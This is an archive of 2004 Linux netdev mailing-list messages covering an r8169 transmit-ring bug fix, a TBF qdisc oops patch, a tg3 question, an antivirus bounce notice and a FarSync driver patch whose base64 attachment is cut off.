Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 21:12:24 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q4CLgi028869 for ; Tue, 25 May 2004 21:12:21 -0700 Received: from hh1120001.direcpc.com ([206.71.120.1] helo=proxyplus.universe) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1BSpm4-0002Sm-00; Tue, 25 May 2004 21:12:18 -0700 Received: from linux [192.168.0.2] by Proxy+; Tue, 25 May 2004 23:11:40 -0500 for multiple recipients Date: Tue, 25 May 2004 23:11:40 -0500 From: Ray Cole To: romieu@fr.zoreil.com Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-Id: <20040525231140.1325daa7.ray_cole@earthlink.net> In-Reply-To: <20040525230831.4747005f.ray_cole@earthlink.net> References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> <20040525230831.4747005f.ray_cole@earthlink.net> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ray_cole@earthlink.net Precedence: bulk X-list: netdev Oh...forgot to mention where this line was at :-) rtl8169_start_xmit is the function... On Tue, 25 May 2004 23:08:31 -0500 Ray Cole wrote: > I found the problem - I think. At least I'll say I found a line of code that I modified and it started working :-) > > Here is the offending line: > > tp->TxDescArray[entry].status = cpu_to_le32(OWNbit | FSbit | > LSbit | len | (EORbit * !((entry + 1) % NUM_TX_DESC))); > > Here is what I changed it into (based on the 2.6.5 flavor of r8169.c): > > if (entry != (NUM_TX_DESC - 1)) > tp->TxDescArray[entry].status = > (OWNbit | FSbit | LSbit) | len; > else > tp->TxDescArray[entry].status = > (OWNbit | EORbit | FSbit | LSbit) | len; > > Once I changed this it started working great. I picked up on this when I noticed it was only sending 64 packets then failing. I looked for differences in the way 2.6.5 and 2.6.6 handled a full transmit ring and this line looked suspicious...I figure it is perhaps a difference in the compiler I'm using (2.95.3) vs what others using this module are using...perhaps? > > -- Ray > > > On Tue, 25 May 2004 09:19:15 +0200 > Francois Romieu wrote: > > > Ray Cole : > > [...] > > > I was wondering if you were aware of such issues in the 2.6.6 flavor of > > > r8169. If not, I'm more than willing to provide any information you need. > > > > Nope, you are the first one. If time permits today, I'll check if the mobo > > appears on the usual suspects list. > > > > > Either way I'm more than willing to try any patches for it. > > > > Nice :o) > > > > > Attach is my config for the kernel in case that helps. Oh, BTW, I don't > > > actually have a gigbit network - running a 100M network. I don't know if > > > that makes any difference or not. I also don't see any error messages when > > > > It may make things simpler. > > > > > the network stops working (aside from my application, which simply reports > > > a timeout error communicating with the POP email server :-) > > > > Some more information may help. Typically: > > - lspci -vx output > > - dmesg after boot and insertion of the module (usually a combination of > > /var/log/dmesg and 'dmesg' output as this one may be truncated) > > - lsmod output > > - /proc/interrupts contents before/after foobar > > - which (if any) was the latest known working kernel, be it 2.4.x or 2.6.x > > (2.5.5 apparently) ? > > - can you enumerate all the dysfunctionnal kernel ? > > - which distribution/compiler ? > > - does it still fail if you do a simple 'ping' for an extended period of > > time instead of pop (same thing with lengthy ftp/http transfer, say a file > > of a few megs) ? > > > > A few things you may want to try: > > - disable ACPI (acpi=none on the boot cmd line, do not confuse it with APIC) > > - PREEMPT may change a few things though it is less on the radar than ACPI > > - http://www.fr.zoreil.com/people/francois/misc/20040525-2.6.7-rc1-r8169.c-test.patch applied on 2.6.6 (some link related things may come into play but > > I am a bit sceptical) > > - as the system does not hang (only the network trafic), can you see if > > it makes a difference if you > > - ifconfig down/up the network card ? > > - same thing + removal/insertion of the driver ? > > - unplug/plug again the cable (wait for 10~15 seconds then) ? > > -> dmesg output welcome. > > > > Please Cc: future traffic to netdev@oss.sgi.com as well (if you can tell > > sylphid to cut the lines at 72/80 chars, I will not complain either :o) ). > > > > Do not hesitate to ping me if you feel like I forget your problem (I try > > to avoid it but it may happen). > > > > -- > > Ueimor From dtor_core@ameritech.net Tue May 25 21:13:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 21:13:39 -0700 (PDT) Received: from smtp811.mail.sc5.yahoo.com (smtp811.mail.sc5.yahoo.com [66.163.170.81]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q4Dbgi029180 for ; Tue, 25 May 2004 21:13:38 -0700 Received: from unknown (HELO core-wl.prvt.inr.net) (dtor?core@ameritech.net@68.79.171.232 with plain) by smtp811.mail.sc5.yahoo.com with SMTP; 26 May 2004 04:12:45 -0000 From: Dmitry Torokhov To: netdev@oss.sgi.com Subject: [PATCH 2.4] TBF: do not oops when user tries to attach/show filter Date: Tue, 25 May 2004 23:12:44 -0500 User-Agent: KMail/1.6.2 Cc: "David S. Miller" MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200405252312.44631.dtor_core@ameritech.net> X-archive-position: 5339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev =================================================================== ChangeSet@1.1427, 2004-05-25 23:05:29-05:00, dtor_core@ameritech.net [NET_SCHED] Do not oops when user tries to attach a filter to a TBF qdisc. (TBF does not allow attaching filters as it has only one class, filter should be attached either to TBF's parent or to its child) sch_tbf.c | 6 ++++++ 1 files changed, 6 insertions(+) =================================================================== diff -Nru a/net/sched/sch_tbf.c b/net/sched/sch_tbf.c --- a/net/sched/sch_tbf.c 2004-05-25 23:07:10 -05:00 +++ b/net/sched/sch_tbf.c 2004-05-25 23:07:10 -05:00 @@ -503,6 +503,11 @@ } } +static struct tcf_proto **tbf_find_tcf(struct Qdisc *sch, unsigned long cl) +{ + return NULL; +} + static struct Qdisc_class_ops tbf_class_ops = { .graft = tbf_graft, @@ -512,6 +517,7 @@ .change = tbf_change_class, .delete = tbf_delete, .walk = tbf_walk, + .tcf_chain = tbf_find_tcf, .dump = tbf_dump_class, }; From ray_cole@earthlink.net Tue May 25 21:32:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 21:32:54 -0700 (PDT) Received: from flavatown.mail.pas.earthlink.net (flavatown.mail.pas.earthlink.net [207.217.120.148]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q4Wqgi029961 for ; Tue, 25 May 2004 21:32:52 -0700 Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by flavatown.mail.pas.earthlink.net (8.11.7+Sun/8.11.6) with ESMTP id i4Q4GxE12647 for ; Tue, 25 May 2004 21:16:59 -0700 (PDT) Received: from hh1120001.direcpc.com ([206.71.120.1] helo=proxyplus.universe) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1BSpid-0000QR-00; Tue, 25 May 2004 21:08:46 -0700 Received: from linux [192.168.0.2] by Proxy+; Tue, 25 May 2004 23:08:31 -0500 for multiple recipients Date: Tue, 25 May 2004 23:08:31 -0500 From: Ray Cole To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-Id: <20040525230831.4747005f.ray_cole@earthlink.net> In-Reply-To: <20040525091915.A12162@electric-eye.fr.zoreil.com> References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ray_cole@earthlink.net Precedence: bulk X-list: netdev I found the problem - I think. At least I'll say I found a line of code that I modified and it started working :-) Here is the offending line: tp->TxDescArray[entry].status = cpu_to_le32(OWNbit | FSbit | LSbit | len | (EORbit * !((entry + 1) % NUM_TX_DESC))); Here is what I changed it into (based on the 2.6.5 flavor of r8169.c): if (entry != (NUM_TX_DESC - 1)) tp->TxDescArray[entry].status = (OWNbit | FSbit | LSbit) | len; else tp->TxDescArray[entry].status = (OWNbit | EORbit | FSbit | LSbit) | len; Once I changed this it started working great. I picked up on this when I noticed it was only sending 64 packets then failing. I looked for differences in the way 2.6.5 and 2.6.6 handled a full transmit ring and this line looked suspicious...I figure it is perhaps a difference in the compiler I'm using (2.95.3) vs what others using this module are using...perhaps? -- Ray On Tue, 25 May 2004 09:19:15 +0200 Francois Romieu wrote: > Ray Cole : > [...] > > I was wondering if you were aware of such issues in the 2.6.6 flavor of > > r8169. If not, I'm more than willing to provide any information you need. > > Nope, you are the first one. If time permits today, I'll check if the mobo > appears on the usual suspects list. > > > Either way I'm more than willing to try any patches for it. > > Nice :o) > > > Attach is my config for the kernel in case that helps. Oh, BTW, I don't > > actually have a gigbit network - running a 100M network. I don't know if > > that makes any difference or not. I also don't see any error messages when > > It may make things simpler. > > > the network stops working (aside from my application, which simply reports > > a timeout error communicating with the POP email server :-) > > Some more information may help. Typically: > - lspci -vx output > - dmesg after boot and insertion of the module (usually a combination of > /var/log/dmesg and 'dmesg' output as this one may be truncated) > - lsmod output > - /proc/interrupts contents before/after foobar > - which (if any) was the latest known working kernel, be it 2.4.x or 2.6.x > (2.5.5 apparently) ? > - can you enumerate all the dysfunctionnal kernel ? > - which distribution/compiler ? > - does it still fail if you do a simple 'ping' for an extended period of > time instead of pop (same thing with lengthy ftp/http transfer, say a file > of a few megs) ? > > A few things you may want to try: > - disable ACPI (acpi=none on the boot cmd line, do not confuse it with APIC) > - PREEMPT may change a few things though it is less on the radar than ACPI > - http://www.fr.zoreil.com/people/francois/misc/20040525-2.6.7-rc1-r8169.c-test.patch applied on 2.6.6 (some link related things may come into play but > I am a bit sceptical) > - as the system does not hang (only the network trafic), can you see if > it makes a difference if you > - ifconfig down/up the network card ? > - same thing + removal/insertion of the driver ? > - unplug/plug again the cable (wait for 10~15 seconds then) ? > -> dmesg output welcome. > > Please Cc: future traffic to netdev@oss.sgi.com as well (if you can tell > sylphid to cut the lines at 72/80 chars, I will not complain either :o) ). > > Do not hesitate to ping me if you feel like I forget your problem (I try > to avoid it but it may happen). > > -- > Ueimor From davem@redhat.com Tue May 25 22:57:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 22:57:02 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q5v0gi031997 for ; Tue, 25 May 2004 22:57:00 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4Q5uvi5016424; Wed, 26 May 2004 01:56:57 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4Q5uv015645; Wed, 26 May 2004 01:56:57 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4Q5urhk029471; Wed, 26 May 2004 01:56:53 -0400 Date: Tue, 25 May 2004 22:56:19 -0700 From: "David S. Miller" To: Dmitry Torokhov Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2.4] TBF: do not oops when user tries to attach/show filter Message-Id: <20040525225619.4acabde6.davem@redhat.com> In-Reply-To: <200405252312.44631.dtor_core@ameritech.net> References: <200405252312.44631.dtor_core@ameritech.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Both 2.4.x and 2.6.x variants applied, thanks a lot Dmitry. From mcgrof@studorgs.rutgers.edu Tue May 25 22:58:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 22:58:46 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q5wggi032230 for ; Tue, 25 May 2004 22:58:42 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id ECD92F9D4E; Wed, 26 May 2004 01:58:41 -0400 (EDT) Date: Wed, 26 May 2004 01:58:41 -0400 To: Ray Cole Cc: romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-ID: <20040526055841.GH3330@ruslug.rutgers.edu> Mail-Followup-To: Ray Cole , romieu@fr.zoreil.com, netdev@oss.sgi.com References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> <20040525230831.4747005f.ray_cole@earthlink.net> <20040525231140.1325daa7.ray_cole@earthlink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040525231140.1325daa7.ray_cole@earthlink.net> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev God invented diff for a reason, you know? Luis On Tue, May 25, 2004 at 11:11:40PM -0500, Ray Cole wrote: > Oh...forgot to mention where this line was at :-) rtl8169_start_xmit is the function... > > On Tue, 25 May 2004 23:08:31 -0500 > Ray Cole wrote: > > > I found the problem - I think. At least I'll say I found a line of code that I modified and it started working :-) > > > > Here is the offending line: > > > > tp->TxDescArray[entry].status = cpu_to_le32(OWNbit | FSbit | > > LSbit | len | (EORbit * !((entry + 1) % NUM_TX_DESC))); > > > > Here is what I changed it into (based on the 2.6.5 flavor of r8169.c): > > > > if (entry != (NUM_TX_DESC - 1)) > > tp->TxDescArray[entry].status = > > (OWNbit | FSbit | LSbit) | len; > > else > > tp->TxDescArray[entry].status = > > (OWNbit | EORbit | FSbit | LSbit) | len; > > > > Once I changed this it started working great. I picked up on this when I noticed it was only sending 64 packets then failing. I looked for differences in the way 2.6.5 and 2.6.6 handled a full transmit ring and this line looked suspicious...I figure it is perhaps a difference in the compiler I'm using (2.95.3) vs what others using this module are using...perhaps? > > > > -- Ray > > > > > > On Tue, 25 May 2004 09:19:15 +0200 > > Francois Romieu wrote: > > > > > Ray Cole : > > > [...] > > > > I was wondering if you were aware of such issues in the 2.6.6 flavor of > > > > r8169. If not, I'm more than willing to provide any information you need. > > > > > > Nope, you are the first one. If time permits today, I'll check if the mobo > > > appears on the usual suspects list. > > > > > > > Either way I'm more than willing to try any patches for it. > > > > > > Nice :o) > > > > > > > Attach is my config for the kernel in case that helps. Oh, BTW, I don't > > > > actually have a gigbit network - running a 100M network. I don't know if > > > > that makes any difference or not. I also don't see any error messages when > > > > > > It may make things simpler. > > > > > > > the network stops working (aside from my application, which simply reports > > > > a timeout error communicating with the POP email server :-) > > > > > > Some more information may help. Typically: > > > - lspci -vx output > > > - dmesg after boot and insertion of the module (usually a combination of > > > /var/log/dmesg and 'dmesg' output as this one may be truncated) > > > - lsmod output > > > - /proc/interrupts contents before/after foobar > > > - which (if any) was the latest known working kernel, be it 2.4.x or 2.6.x > > > (2.5.5 apparently) ? > > > - can you enumerate all the dysfunctionnal kernel ? > > > - which distribution/compiler ? > > > - does it still fail if you do a simple 'ping' for an extended period of > > > time instead of pop (same thing with lengthy ftp/http transfer, say a file > > > of a few megs) ? > > > > > > A few things you may want to try: > > > - disable ACPI (acpi=none on the boot cmd line, do not confuse it with APIC) > > > - PREEMPT may change a few things though it is less on the radar than ACPI > > > - http://www.fr.zoreil.com/people/francois/misc/20040525-2.6.7-rc1-r8169.c-test.patch applied on 2.6.6 (some link related things may come into play but > > > I am a bit sceptical) > > > - as the system does not hang (only the network trafic), can you see if > > > it makes a difference if you > > > - ifconfig down/up the network card ? > > > - same thing + removal/insertion of the driver ? > > > - unplug/plug again the cable (wait for 10~15 seconds then) ? > > > -> dmesg output welcome. > > > > > > Please Cc: future traffic to netdev@oss.sgi.com as well (if you can tell > > > sylphid to cut the lines at 72/80 chars, I will not complain either :o) ). > > > > > > Do not hesitate to ping me if you feel like I forget your problem (I try > > > to avoid it but it may happen). > > > > > > -- > > > Ueimor > -- GnuPG Key fingerprint = 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E From romieu@fr.zoreil.com Wed May 26 04:29:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 04:29:26 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QBTMgi023608 for ; Wed, 26 May 2004 04:29:23 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4QBSEuX000632; Wed, 26 May 2004 13:28:14 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4QBSEHa000631; Wed, 26 May 2004 13:28:14 +0200 Date: Wed, 26 May 2004 13:28:14 +0200 From: Francois Romieu To: Ray Cole Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-ID: <20040526132814.A32639@electric-eye.fr.zoreil.com> References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> <20040525230831.4747005f.ray_cole@earthlink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040525230831.4747005f.ray_cole@earthlink.net>; from ray_cole@earthlink.net on Tue, May 25, 2004 at 11:08:31PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 5343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Ray Cole : [...] > Once I changed this it started working great. I picked up on this when > I noticed it was only sending 64 packets then failing. I looked for > differences in the way 2.6.5 and 2.6.6 handled a full transmit ring and > this line looked suspicious...I figure it is perhaps a difference in the > compiler I'm using (2.95.3) vs what others using this module are > using...perhaps? I would not bet against it :o) Can you: - send me your 2.6.5 and vanilla 2.6.6 .o file compiled under 2.95.3 - try 2.6.6 on a different compiler (2.95.2 excluded) ? Thank you for the analysis. -- Ueimor From Administrator@gpgtaskforce.org Wed May 26 07:29:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 07:29:04 -0700 (PDT) Received: from a.mx.gpgtaskforce.org (66.210.181.62.in-addr.dgcsystems.net [62.181.210.66]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QESxgi028049 for ; Wed, 26 May 2004 07:29:00 -0700 Received: from mail pickup service by a.mx.gpgtaskforce.org with Microsoft SMTPSVC; Wed, 26 May 2004 16:28:49 +0200 thread-index: AcRDLcMGKMqemzuxSDS874lCC8ktcA== Thread-Topic: [MailServer Notification]To Sender virus found and action taken. From: To: Subject: [MailServer Notification]To Sender virus found and action taken. Date: Wed, 26 May 2004 16:28:49 +0200 Message-ID: <004f01c4432d$c306d250$1500a8c0@GPGTaskforce.local> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-OriginalArrivalTime: 26 May 2004 14:28:49.0984 (UTC) FILETIME=[C325CC00:01C4432D] X-archive-position: 5344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Administrator@oss.sgi.com Precedence: bulk X-list: netdev ScanMail for Microsoft Exchange has detected virus-infected attachment(s). Sender = netdev@oss.sgi.com Recipient(s) = Katell Le Goulven Subject = Re: SMTP Server Scanning time = 2004-05-26 16:28:49 Engine/Pattern = 7.000-1004/1.895.00 Action on virus found: The attachment document.zip contains WORM_NETSKY.P virus. ScanMail has Deleted it. Warning to sender. ScanMail has detected a virus in an email you sent. From gnb@speed.melbourne.sgi.com Wed May 26 09:06:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 09:06:32 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QG6Rgi000964 for ; Wed, 26 May 2004 09:06:28 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4QG4riv013237 for ; Wed, 26 May 2004 11:04:55 -0500 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id CAA22532; Thu, 27 May 2004 02:04:44 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 5420457980; Thu, 27 May 2004 02:04:43 +1000 (EST) Date: Thu, 27 May 2004 02:04:43 +1000 From: Greg Banks To: Michael Chan Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526160443.GD4557@sgi.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-archive-position: 5345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Tue, May 25, 2004 at 01:04:24PM -0700, Michael Chan wrote: > [...] A few years ago we saw cases where there were tx completions > on BDs that had not been sent. It turned out that on that machine, the > chipset was re-ordering the posted mmio writes to the send mailbox > register from 2 CPUs.[...] On a related note, is there a good reason why the tg3 driver uses the on-chip SRAM send ring by default instead of the host send ring? This seems like it would dramatically increase the PIO load on the chipset for some of the workloads I'm interested in. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From kevin.curtis@farsite.co.uk Wed May 26 09:08:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 09:08:32 -0700 (PDT) Received: from relay1.ftech.net (relay1.ftech.net [195.200.0.96]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QG8Sgi001232 for ; Wed, 26 May 2004 09:08:28 -0700 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay1.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1BT0XV-0003vw-00; Wed, 26 May 2004 16:41:57 +0100 Received: from pc9.faradsl.ftech.co.uk ([212.32.46.170] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1BT0XG-0001p8-00; Wed, 26 May 2004 16:41:42 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C44337.F139A020" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: Update FarSync WAN driver in 2.4 and 2.6 content-class: urn:content-classes:message Date: Wed, 26 May 2004 16:41:42 +0100 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CD7E@general.hq.farsitecommunications.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.4 and 2.6 Thread-Index: AcPrONGkVWQ5J07eSSa/6KR8S+rqGw== From: "Kevin Curtis" To: Cc: , , "Dermot Smith" , "Steve Scott" X-archive-position: 5346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C44337.F139A020 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, can you please respond to this e-mail and let me know when we might expect to see our driver changes implemented in the 2.4 and 2.6 Kernels. Kind regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 -----Original Message----- From: Kevin Curtis=20 Sent: 26 April 2004 17:34 To: 'netdev@oss.sgi.com' Cc: 'davem@redhat.com'; 'jgarzik@redhat.com'; Dermot Smith Subject: Update FarSync WAN driver in 2.4.25 Hi, please find attached a patch to update the FarSync WAN driver in the 2.4 and 2.6 Kernels. The driver has been updated in the following ways: 1) Provides support for new FarSync cards T1U, T2U, T4U and TE1 2) Provides support for an E1 interface 3) Provides support for a variant of X.21 that allows transmit and receive clocks 4) Provide a raw socket interface directly to the data from the line. 5) Improves performance with less time in interrupts and more in BH's In the main the only files affected are the farsync.c and farsync.h files, although there have been some additions to the if.h file. Please try to include it in the 2.4.27 and 2.6.6 releases. Kind Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 ------_=_NextPart_001_01C44337.F139A020 Content-Type: application/octet-stream; name="farsync2.6.patch" Content-Transfer-Encoding: base64 Content-Description: farsync2.6.patch Content-Disposition: attachment; filename="farsync2.6.patch" ZGlmZiAtdXJOIGxpbnV4LTIuNi40LXByZTEtb3JpZy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5j IGxpbnV4L2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMKLS0tIGxpbnV4LTIuNi40LXByZTEtb3Jp Zy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5jCTIwMDQtMDMtMDEgMDk6MTc6MDguMDAwMDAwMDAw ICswMDAwCisrKyBsaW51eC9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5jCTIwMDQtMDMtMDEgMTI6 NTQ6MjIuMjk5Mjg1NzUyICswMDAwCkBAIC0xLDkgKzEsOSBAQAogLyoKLSAqICAgICAgRmFyU3lu YyBYMjEgZHJpdmVyIGZvciBMaW51eCAoZ2VuZXJpYyBIRExDIHZlcnNpb24pCisgKiAgICAgIEZh clN5bmMgV0FOIGRyaXZlciBmb3IgTGludXggKDIuNi54IGtlcm5lbCB2ZXJzaW9uKQogICoKICAq ICAgICAgQWN0dWFsbHkgc3luYyBkcml2ZXIgZm9yIFguMjEsIFYuMzUgYW5kIFYuMjQgb24gRmFy U3luYyBULXNlcmllcyBjYXJkcwogICoKLSAqICAgICAgQ29weXJpZ2h0IChDKSAyMDAxIEZhclNp dGUgQ29tbXVuaWNhdGlvbnMgTHRkLgorICogICAgICBDb3B5cmlnaHQgKEMpIDIwMDEtMjAwNCBG YXJTaXRlIENvbW11bmljYXRpb25zIEx0ZC4KICAqICAgICAgd3d3LmZhcnNpdGUuY28udWsKICAq CiAgKiAgICAgIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJp YnV0ZSBpdCBhbmQvb3IKQEAgLTExLDExICsxMSwxMyBAQAogICogICAgICBhcyBwdWJsaXNoZWQg YnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24KICAqICAgICAg MiBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4K ICAqCi0gKiAgICAgIEF1dGhvcjogUi5KLkR1bmxvcCAgICAgIDxib2IuZHVubG9wQGZhcnNpdGUu Y28udWs+CisgKiAgICAgIEF1dGhvcjogICAgICBSLkouRHVubG9wICAgIDxib2IuZHVubG9wQGZh cnNpdGUuY28udWs+CisgKiAgICAgIE1haW50YWluZXI6ICBLZXZpbiBDdXJ0aXMgIDxrZXZpbi5j dXJ0aXNAZmFyc2l0ZS5jby51az4KICAqLwogCiAjaW5jbHVkZSA8bGludXgvbW9kdWxlLmg+CiAj aW5jbHVkZSA8bGludXgva2VybmVsLmg+CisjaW5jbHVkZSA8bGludXgvdmVyc2lvbi5oPgogI2lu Y2x1ZGUgPGxpbnV4L3BjaS5oPgogI2luY2x1ZGUgPGxpbnV4L2lvcG9ydC5oPgogI2luY2x1ZGUg PGxpbnV4L2luaXQuaD4KQEAgLTI1LDQ5ICsyNyw2MiBAQAogCiAjaW5jbHVkZSAiZmFyc3luYy5o IgogCi0KIC8qCiAgKiAgICAgIE1vZHVsZSBpbmZvCiAgKi8KIE1PRFVMRV9BVVRIT1IoIlIuSi5E 